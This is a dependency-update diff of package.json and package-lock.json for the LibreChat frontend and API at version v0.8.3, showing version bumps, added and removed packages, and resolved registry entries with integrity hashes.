- "multer": "^2.0.2",
+ "multer": "^2.1.1",
"nanoid": "^3.3.7",
"node-fetch": "^2.7.0",
"nodemailer": "^7.0.11",
@@ -117,14 +119,15 @@
"passport-jwt": "^4.0.1",
"passport-ldapauth": "^3.0.1",
"passport-local": "^1.0.0",
+ "pdfjs-dist": "^5.4.624",
"rate-limit-redis": "^4.2.0",
"sharp": "^0.33.5",
- "tiktoken": "^1.0.15",
"traverse": "^0.6.7",
"ua-parser-js": "^1.0.36",
- "undici": "^7.18.2",
+ "undici": "^7.24.1",
"winston": "^3.11.0",
"winston-daily-rotate-file": "^5.0.0",
+ "xlsx": "https://cdn.sheetjs.com/xlsx-0.20.3/xlsx-0.20.3.tgz",
"zod": "^3.22.4"
},
"devDependencies": {
@@ -267,6 +270,24 @@
"node": ">= 0.8.0"
}
},
+ "api/node_modules/file-type": {
+ "version": "21.3.2",
+ "resolved": "https://registry.npmjs.org/file-type/-/file-type-21.3.2.tgz",
+ "integrity": "sha512-DLkUvGwep3poOV2wpzbHCOnSKGk1LzyXTv+aHFgN2VFl96wnp8YA9YjO2qPzg5PuL8q/SW9Pdi6WTkYOIh995w==",
+ "license": "MIT",
+ "dependencies": {
+ "@tokenizer/inflate": "^0.4.1",
+ "strtok3": "^10.3.4",
+ "token-types": "^6.1.1",
+ "uint8array-extras": "^1.4.0"
+ },
+ "engines": {
+ "node": ">=20"
+ },
+ "funding": {
+ "url": "https://github.com/sindresorhus/file-type?sponsor=1"
+ }
+ },
"api/node_modules/jose": {
"version": "6.1.3",
"resolved": "https://registry.npmjs.org/jose/-/jose-6.1.3.tgz",
@@ -276,36 +297,6 @@
"url": "https://github.com/sponsors/panva"
}
},
- "api/node_modules/mkdirp": {
- "version": "0.5.6",
- "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.6.tgz",
- "integrity": "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==",
- "license": "MIT",
- "dependencies": {
- "minimist": "^1.2.6"
- },
- "bin": {
- "mkdirp": "bin/cmd.js"
- }
- },
- "api/node_modules/multer": {
- "version": "2.0.2",
- "resolved": "https://registry.npmjs.org/multer/-/multer-2.0.2.tgz",
- "integrity": "sha512-u7f2xaZ/UG8oLXHvtF/oWTRvT44p9ecwBBqTwgJVq0+4BW1g8OW01TyMEGWBHbyMOYVHXslaut7qEQ1meATXgw==",
- "license": "MIT",
- "dependencies": {
- "append-field": "^1.0.0",
- "busboy": "^1.6.0",
- "concat-stream": "^2.0.0",
- "mkdirp": "^0.5.6",
- "object-assign": "^4.1.1",
- "type-is": "^1.6.18",
- "xtend": "^4.0.2"
- },
- "engines": {
- "node": ">= 10.16.0"
- }
- },
"api/node_modules/negotiator": {
"version": "0.6.4",
"resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.4.tgz",
@@ -375,6 +366,40 @@
"@img/sharp-win32-x64": "0.33.5"
}
},
+ "api/node_modules/strtok3": {
+ "version": "10.3.4",
+ "resolved": "https://registry.npmjs.org/strtok3/-/strtok3-10.3.4.tgz",
+ "integrity": "sha512-KIy5nylvC5le1OdaaoCJ07L+8iQzJHGH6pWDuzS+d07Cu7n1MZ2x26P8ZKIWfbK02+XIL8Mp4RkWeqdUCrDMfg==",
+ "license": "MIT",
+ "dependencies": {
+ "@tokenizer/token": "^0.3.0"
+ },
+ "engines": {
+ "node": ">=18"
+ },
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/Borewit"
+ }
+ },
+ "api/node_modules/token-types": {
+ "version": "6.1.2",
+ "resolved": "https://registry.npmjs.org/token-types/-/token-types-6.1.2.tgz",
+ "integrity": "sha512-dRXchy+C0IgK8WPC6xvCHFRIWYUbqqdEIKPaKo/AcTUNzwLTK6AH7RjdLWsEZcAN/TBdtfUw3PYEgPr5VPr6ww==",
+ "license": "MIT",
+ "dependencies": {
+ "@borewit/text-codec": "^0.2.1",
+ "@tokenizer/token": "^0.3.0",
+ "ieee754": "^1.2.1"
+ },
+ "engines": {
+ "node": ">=14.16"
+ },
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/Borewit"
+ }
+ },
"api/node_modules/winston-daily-rotate-file": {
"version": "5.0.0",
"resolved": "https://registry.npmjs.org/winston-daily-rotate-file/-/winston-daily-rotate-file-5.0.0.tgz",
@@ -404,7 +429,7 @@
},
"client": {
"name": "@librechat/frontend",
- "version": "v0.8.3-rc1",
+ "version": "v0.8.3",
"license": "ISC",
"dependencies": {
"@ariakit/react": "^0.4.15",
@@ -416,6 +441,7 @@
"@librechat/client": "*",
"@marsidev/react-turnstile": "^1.1.0",
"@mcp-ui/client": "^5.7.0",
+ "@monaco-editor/react": "^4.7.0",
"@radix-ui/react-accordion": "^1.1.2",
"@radix-ui/react-alert-dialog": "1.0.2",
"@radix-ui/react-checkbox": "^1.0.3",
@@ -458,7 +484,7 @@
"lodash": "^4.17.23",
"lucide-react": "^0.394.0",
"match-sorter": "^8.1.0",
- "mermaid": "^11.12.3",
+ "mermaid": "^11.13.0",
"micromark-extension-llm-math": "^3.1.0",
"qrcode.react": "^4.2.0",
"rc-input-number": "^7.4.2",
@@ -471,7 +497,6 @@
"react-gtm-module": "^2.0.11",
"react-hook-form": "^7.43.9",
"react-i18next": "^15.4.0",
- "react-lazy-load-image-component": "^1.6.0",
"react-markdown": "^9.0.1",
"react-resizable-panels": "^3.0.6",
"react-router-dom": "^6.30.3",
@@ -500,6 +525,7 @@
"@babel/preset-env": "^7.22.15",
"@babel/preset-react": "^7.22.15",
"@babel/preset-typescript": "^7.22.15",
+ "@happy-dom/jest-environment": "^20.8.3",
"@tanstack/react-query-devtools": "^4.29.0",
"@testing-library/dom": "^9.3.0",
"@testing-library/jest-dom": "^5.16.5",
@@ -508,10 +534,10 @@
"@types/jest": "^29.5.14",
"@types/js-cookie": "^3.0.6",
"@types/lodash": "^4.17.15",
- "@types/node": "^20.3.0",
+ "@types/node": "^20.19.35",
"@types/react": "^18.2.11",
"@types/react-dom": "^18.2.4",
- "@vitejs/plugin-react": "^4.3.4",
+ "@vitejs/plugin-react": "^5.1.4",
"autoprefixer": "^10.4.20",
"babel-plugin-replace-ts-export-assignment": "^0.0.2",
"babel-plugin-root-import": "^6.6.0",
@@ -522,17 +548,98 @@
"identity-obj-proxy": "^3.0.0",
"jest": "^30.2.0",
"jest-canvas-mock": "^2.5.2",
- "jest-environment-jsdom": "^29.7.0",
+ "jest-environment-jsdom": "^30.2.0",
"jest-file-loader": "^1.0.3",
"jest-junit": "^16.0.0",
+ "monaco-editor": "^0.55.1",
"postcss": "^8.4.31",
- "postcss-preset-env": "^8.2.0",
+ "postcss-preset-env": "^11.2.0",
"tailwindcss": "^3.4.1",
"typescript": "^5.3.3",
- "vite": "^6.4.1",
+ "vite": "^7.3.1",
"vite-plugin-compression2": "^2.2.1",
- "vite-plugin-node-polyfills": "^0.23.0",
- "vite-plugin-pwa": "^0.21.2"
+ "vite-plugin-node-polyfills": "^0.25.0",
+ "vite-plugin-pwa": "^1.2.0"
+ }
+ },
+ "client/node_modules/@babel/code-frame": {
+ "version": "7.29.0",
+ "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.29.0.tgz",
+ "integrity": "sha512-9NhCeYjq9+3uxgdtp20LSiJXJvN0FeCtNGpJxuMFZ1Kv3cWUNb6DOhJwUvcVCzKGR66cw4njwM6hrJLqgOwbcw==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@babel/helper-validator-identifier": "^7.28.5",
+ "js-tokens": "^4.0.0",
+ "picocolors": "^1.1.1"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "client/node_modules/@babel/core": {
+ "version": "7.29.0",
+ "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.29.0.tgz",
+ "integrity": "sha512-CGOfOJqWjg2qW/Mb6zNsDm+u5vFQ8DxXfbM09z69p5Z6+mE1ikP2jUXw+j42Pf1XTYED2Rni5f95npYeuwMDQA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@babel/code-frame": "^7.29.0",
+ "@babel/generator": "^7.29.0",
+ "@babel/helper-compilation-targets": "^7.28.6",
+ "@babel/helper-module-transforms": "^7.28.6",
+ "@babel/helpers": "^7.28.6",
+ "@babel/parser": "^7.29.0",
+ "@babel/template": "^7.28.6",
+ "@babel/traverse": "^7.29.0",
+ "@babel/types": "^7.29.0",
+ "@jridgewell/remapping": "^2.3.5",
+ "convert-source-map": "^2.0.0",
+ "debug": "^4.1.0",
+ "gensync": "^1.0.0-beta.2",
+ "json5": "^2.2.3",
+ "semver": "^6.3.1"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/babel"
+ }
+ },
+ "client/node_modules/@babel/generator": {
+ "version": "7.29.1",
+ "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.29.1.tgz",
+ "integrity": "sha512-qsaF+9Qcm2Qv8SRIMMscAvG4O3lJ0F1GuMo5HR/Bp02LopNgnZBC/EkbevHFeGs4ls/oPz9v+Bsmzbkbe+0dUw==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@babel/parser": "^7.29.0",
+ "@babel/types": "^7.29.0",
+ "@jridgewell/gen-mapping": "^0.3.12",
+ "@jridgewell/trace-mapping": "^0.3.28",
+ "jsesc": "^3.0.2"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "client/node_modules/@babel/helper-compilation-targets": {
+ "version": "7.28.6",
+ "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.28.6.tgz",
+ "integrity": "sha512-JYtls3hqi15fcx5GaSNL7SCTJ2MNmjrkHXg4FSpOA/grxK8KwyZ5bubHsCq8FXCkua6xhuaaBit+3b7+VZRfcA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@babel/compat-data": "^7.28.6",
+ "@babel/helper-validator-option": "^7.27.1",
+ "browserslist": "^4.24.0",
+ "lru-cache": "^5.1.1",
+ "semver": "^6.3.1"
+ },
+ "engines": {
+ "node": ">=6.9.0"
}
},
"client/node_modules/@babel/helper-create-class-features-plugin": {
@@ -557,16 +664,6 @@
"@babel/core": "^7.0.0"
}
},
- "client/node_modules/@babel/helper-create-class-features-plugin/node_modules/semver": {
- "version": "6.3.1",
- "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
- "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
- "dev": true,
- "license": "ISC",
- "bin": {
- "semver": "bin/semver.js"
- }
- },
"client/node_modules/@babel/helper-define-polyfill-provider": {
"version": "0.6.3",
"resolved": "https://registry.npmjs.org/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.6.3.tgz",
@@ -598,6 +695,38 @@
"node": ">=6.9.0"
}
},
+ "client/node_modules/@babel/helper-module-imports": {
+ "version": "7.28.6",
+ "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.28.6.tgz",
+ "integrity": "sha512-l5XkZK7r7wa9LucGw9LwZyyCUscb4x37JWTPz7swwFE/0FMQAGpiWUZn8u9DzkSBWEcK25jmvubfpw2dnAMdbw==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@babel/traverse": "^7.28.6",
+ "@babel/types": "^7.28.6"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "client/node_modules/@babel/helper-module-transforms": {
+ "version": "7.28.6",
+ "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.28.6.tgz",
+ "integrity": "sha512-67oXFAYr2cDLDVGLXTEABjdBJZ6drElUSI7WKp70NrpyISso3plG9SAGEF6y7zbha/wOzUByWWTJvEDVNIUGcA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@babel/helper-module-imports": "^7.28.6",
+ "@babel/helper-validator-identifier": "^7.28.5",
+ "@babel/traverse": "^7.28.6"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0"
+ }
+ },
"client/node_modules/@babel/helper-optimise-call-expression": {
"version": "7.25.9",
"resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.25.9.tgz",
@@ -676,6 +805,36 @@
"node": ">=6.9.0"
}
},
+ "client/node_modules/@babel/helpers": {
+ "version": "7.28.6",
+ "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.28.6.tgz",
+ "integrity": "sha512-xOBvwq86HHdB7WUDTfKfT/Vuxh7gElQ+Sfti2Cy6yIWNW05P8iUslOVcZ4/sKbE+/jQaukQAdz/gf3724kYdqw==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@babel/template": "^7.28.6",
+ "@babel/types": "^7.28.6"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "client/node_modules/@babel/parser": {
+ "version": "7.29.0",
+ "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.29.0.tgz",
+ "integrity": "sha512-IyDgFV5GeDUVX4YdF/3CPULtVGSXXMLh1xVIgdCgxApktqnQV0r7/8Nqthg+8YLGaAtdyIlo2qIdZrbCv4+7ww==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@babel/types": "^7.29.0"
+ },
+ "bin": {
+ "parser": "bin/babel-parser.js"
+ },
+ "engines": {
+ "node": ">=6.0.0"
+ }
+ },
"client/node_modules/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": {
"version": "7.25.9",
"resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression/-/plugin-bugfix-safari-id-destructuring-collision-in-function-expression-7.25.9.tgz",
@@ -1349,38 +1508,6 @@
"@babel/core": "^7.0.0-0"
}
},
- "client/node_modules/@babel/plugin-transform-react-jsx-self": {
- "version": "7.25.9",
- "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-self/-/plugin-transform-react-jsx-self-7.25.9.tgz",
- "integrity": "sha512-y8quW6p0WHkEhmErnfe58r7x0A70uKphQm8Sp8cV7tjNQwK56sNVK0M73LK3WuYmsuyrftut4xAkjjgU0twaMg==",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "@babel/helper-plugin-utils": "^7.25.9"
- },
- "engines": {
- "node": ">=6.9.0"
- },
- "peerDependencies": {
- "@babel/core": "^7.0.0-0"
- }
- },
- "client/node_modules/@babel/plugin-transform-react-jsx-source": {
- "version": "7.25.9",
- "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-source/-/plugin-transform-react-jsx-source-7.25.9.tgz",
- "integrity": "sha512-+iqjT8xmXhhYv4/uiYd8FNQsraMFZIfxVSqxxVSZP0WbbSAWvBXAul0m/zu+7Vv4O/3WtApy9pmaTMiumEZgfg==",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "@babel/helper-plugin-utils": "^7.25.9"
- },
- "engines": {
- "node": ">=6.9.0"
- },
- "peerDependencies": {
- "@babel/core": "^7.0.0-0"
- }
- },
"client/node_modules/@babel/plugin-transform-regenerator": {
"version": "7.25.9",
"resolved": "https://registry.npmjs.org/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.25.9.tgz",
@@ -1646,14 +1773,52 @@
"@babel/core": "^7.0.0-0"
}
},
- "client/node_modules/@babel/preset-env/node_modules/semver": {
- "version": "6.3.1",
- "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
- "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
+ "client/node_modules/@babel/template": {
+ "version": "7.28.6",
+ "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.28.6.tgz",
+ "integrity": "sha512-YA6Ma2KsCdGb+WC6UpBVFJGXL58MDA6oyONbjyF/+5sBgxY/dwkhLogbMT2GXXyU84/IhRw/2D1Os1B/giz+BQ==",
"dev": true,
- "license": "ISC",
- "bin": {
- "semver": "bin/semver.js"
+ "license": "MIT",
+ "dependencies": {
+ "@babel/code-frame": "^7.28.6",
+ "@babel/parser": "^7.28.6",
+ "@babel/types": "^7.28.6"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "client/node_modules/@babel/traverse": {
+ "version": "7.29.0",
+ "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.29.0.tgz",
+ "integrity": "sha512-4HPiQr0X7+waHfyXPZpWPfWL/J7dcN1mx9gL6WdQVMbPnF3+ZhSMs8tCxN7oHddJE9fhNE7+lxdnlyemKfJRuA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@babel/code-frame": "^7.29.0",
+ "@babel/generator": "^7.29.0",
+ "@babel/helper-globals": "^7.28.0",
+ "@babel/parser": "^7.29.0",
+ "@babel/template": "^7.28.6",
+ "@babel/types": "^7.29.0",
+ "debug": "^4.3.1"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "client/node_modules/@babel/types": {
+ "version": "7.29.0",
+ "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.29.0.tgz",
+ "integrity": "sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@babel/helper-string-parser": "^7.27.1",
+ "@babel/helper-validator-identifier": "^7.28.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
}
},
"client/node_modules/@codesandbox/sandpack-client": {
@@ -1699,6 +1864,431 @@
"react-dom": "^16.8.0 || ^17 || ^18"
}
},
+ "client/node_modules/@esbuild/aix-ppc64": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.27.3.tgz",
+ "integrity": "sha512-9fJMTNFTWZMh5qwrBItuziu834eOCUcEqymSH7pY+zoMVEZg3gcPuBNxH1EvfVYe9h0x/Ptw8KBzv7qxb7l8dg==",
+ "cpu": [
+ "ppc64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "aix"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "client/node_modules/@esbuild/android-arm": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.27.3.tgz",
+ "integrity": "sha512-i5D1hPY7GIQmXlXhs2w8AWHhenb00+GxjxRncS2ZM7YNVGNfaMxgzSGuO8o8SJzRc/oZwU2bcScvVERk03QhzA==",
+ "cpu": [
+ "arm"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "android"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "client/node_modules/@esbuild/android-arm64": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.27.3.tgz",
+ "integrity": "sha512-YdghPYUmj/FX2SYKJ0OZxf+iaKgMsKHVPF1MAq/P8WirnSpCStzKJFjOjzsW0QQ7oIAiccHdcqjbHmJxRb/dmg==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "android"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "client/node_modules/@esbuild/android-x64": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.27.3.tgz",
+ "integrity": "sha512-IN/0BNTkHtk8lkOM8JWAYFg4ORxBkZQf9zXiEOfERX/CzxW3Vg1ewAhU7QSWQpVIzTW+b8Xy+lGzdYXV6UZObQ==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "android"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "client/node_modules/@esbuild/darwin-arm64": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.27.3.tgz",
+ "integrity": "sha512-Re491k7ByTVRy0t3EKWajdLIr0gz2kKKfzafkth4Q8A5n1xTHrkqZgLLjFEHVD+AXdUGgQMq+Godfq45mGpCKg==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "darwin"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "client/node_modules/@esbuild/darwin-x64": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.27.3.tgz",
+ "integrity": "sha512-vHk/hA7/1AckjGzRqi6wbo+jaShzRowYip6rt6q7VYEDX4LEy1pZfDpdxCBnGtl+A5zq8iXDcyuxwtv3hNtHFg==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "darwin"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "client/node_modules/@esbuild/freebsd-arm64": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.27.3.tgz",
+ "integrity": "sha512-ipTYM2fjt3kQAYOvo6vcxJx3nBYAzPjgTCk7QEgZG8AUO3ydUhvelmhrbOheMnGOlaSFUoHXB6un+A7q4ygY9w==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "freebsd"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "client/node_modules/@esbuild/freebsd-x64": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.27.3.tgz",
+ "integrity": "sha512-dDk0X87T7mI6U3K9VjWtHOXqwAMJBNN2r7bejDsc+j03SEjtD9HrOl8gVFByeM0aJksoUuUVU9TBaZa2rgj0oA==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "freebsd"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "client/node_modules/@esbuild/linux-arm": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.27.3.tgz",
+ "integrity": "sha512-s6nPv2QkSupJwLYyfS+gwdirm0ukyTFNl3KTgZEAiJDd+iHZcbTPPcWCcRYH+WlNbwChgH2QkE9NSlNrMT8Gfw==",
+ "cpu": [
+ "arm"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "client/node_modules/@esbuild/linux-arm64": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.27.3.tgz",
+ "integrity": "sha512-sZOuFz/xWnZ4KH3YfFrKCf1WyPZHakVzTiqji3WDc0BCl2kBwiJLCXpzLzUBLgmp4veFZdvN5ChW4Eq/8Fc2Fg==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "client/node_modules/@esbuild/linux-ia32": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.27.3.tgz",
+ "integrity": "sha512-yGlQYjdxtLdh0a3jHjuwOrxQjOZYD/C9PfdbgJJF3TIZWnm/tMd/RcNiLngiu4iwcBAOezdnSLAwQDPqTmtTYg==",
+ "cpu": [
+ "ia32"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "client/node_modules/@esbuild/linux-loong64": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.27.3.tgz",
+ "integrity": "sha512-WO60Sn8ly3gtzhyjATDgieJNet/KqsDlX5nRC5Y3oTFcS1l0KWba+SEa9Ja1GfDqSF1z6hif/SkpQJbL63cgOA==",
+ "cpu": [
+ "loong64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "client/node_modules/@esbuild/linux-mips64el": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.27.3.tgz",
+ "integrity": "sha512-APsymYA6sGcZ4pD6k+UxbDjOFSvPWyZhjaiPyl/f79xKxwTnrn5QUnXR5prvetuaSMsb4jgeHewIDCIWljrSxw==",
+ "cpu": [
+ "mips64el"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "client/node_modules/@esbuild/linux-ppc64": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.27.3.tgz",
+ "integrity": "sha512-eizBnTeBefojtDb9nSh4vvVQ3V9Qf9Df01PfawPcRzJH4gFSgrObw+LveUyDoKU3kxi5+9RJTCWlj4FjYXVPEA==",
+ "cpu": [
+ "ppc64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "client/node_modules/@esbuild/linux-riscv64": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.27.3.tgz",
+ "integrity": "sha512-3Emwh0r5wmfm3ssTWRQSyVhbOHvqegUDRd0WhmXKX2mkHJe1SFCMJhagUleMq+Uci34wLSipf8Lagt4LlpRFWQ==",
+ "cpu": [
+ "riscv64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "client/node_modules/@esbuild/linux-s390x": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.27.3.tgz",
+ "integrity": "sha512-pBHUx9LzXWBc7MFIEEL0yD/ZVtNgLytvx60gES28GcWMqil8ElCYR4kvbV2BDqsHOvVDRrOxGySBM9Fcv744hw==",
+ "cpu": [
+ "s390x"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "client/node_modules/@esbuild/linux-x64": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.27.3.tgz",
+ "integrity": "sha512-Czi8yzXUWIQYAtL/2y6vogER8pvcsOsk5cpwL4Gk5nJqH5UZiVByIY8Eorm5R13gq+DQKYg0+JyQoytLQas4dA==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "client/node_modules/@esbuild/netbsd-arm64": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.27.3.tgz",
+ "integrity": "sha512-sDpk0RgmTCR/5HguIZa9n9u+HVKf40fbEUt+iTzSnCaGvY9kFP0YKBWZtJaraonFnqef5SlJ8/TiPAxzyS+UoA==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "netbsd"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "client/node_modules/@esbuild/netbsd-x64": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.27.3.tgz",
+ "integrity": "sha512-P14lFKJl/DdaE00LItAukUdZO5iqNH7+PjoBm+fLQjtxfcfFE20Xf5CrLsmZdq5LFFZzb5JMZ9grUwvtVYzjiA==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "netbsd"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "client/node_modules/@esbuild/openbsd-arm64": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.27.3.tgz",
+ "integrity": "sha512-AIcMP77AvirGbRl/UZFTq5hjXK+2wC7qFRGoHSDrZ5v5b8DK/GYpXW3CPRL53NkvDqb9D+alBiC/dV0Fb7eJcw==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "openbsd"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "client/node_modules/@esbuild/openbsd-x64": {
+ "version": "0.27.3",
+ "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.27.3.tgz",
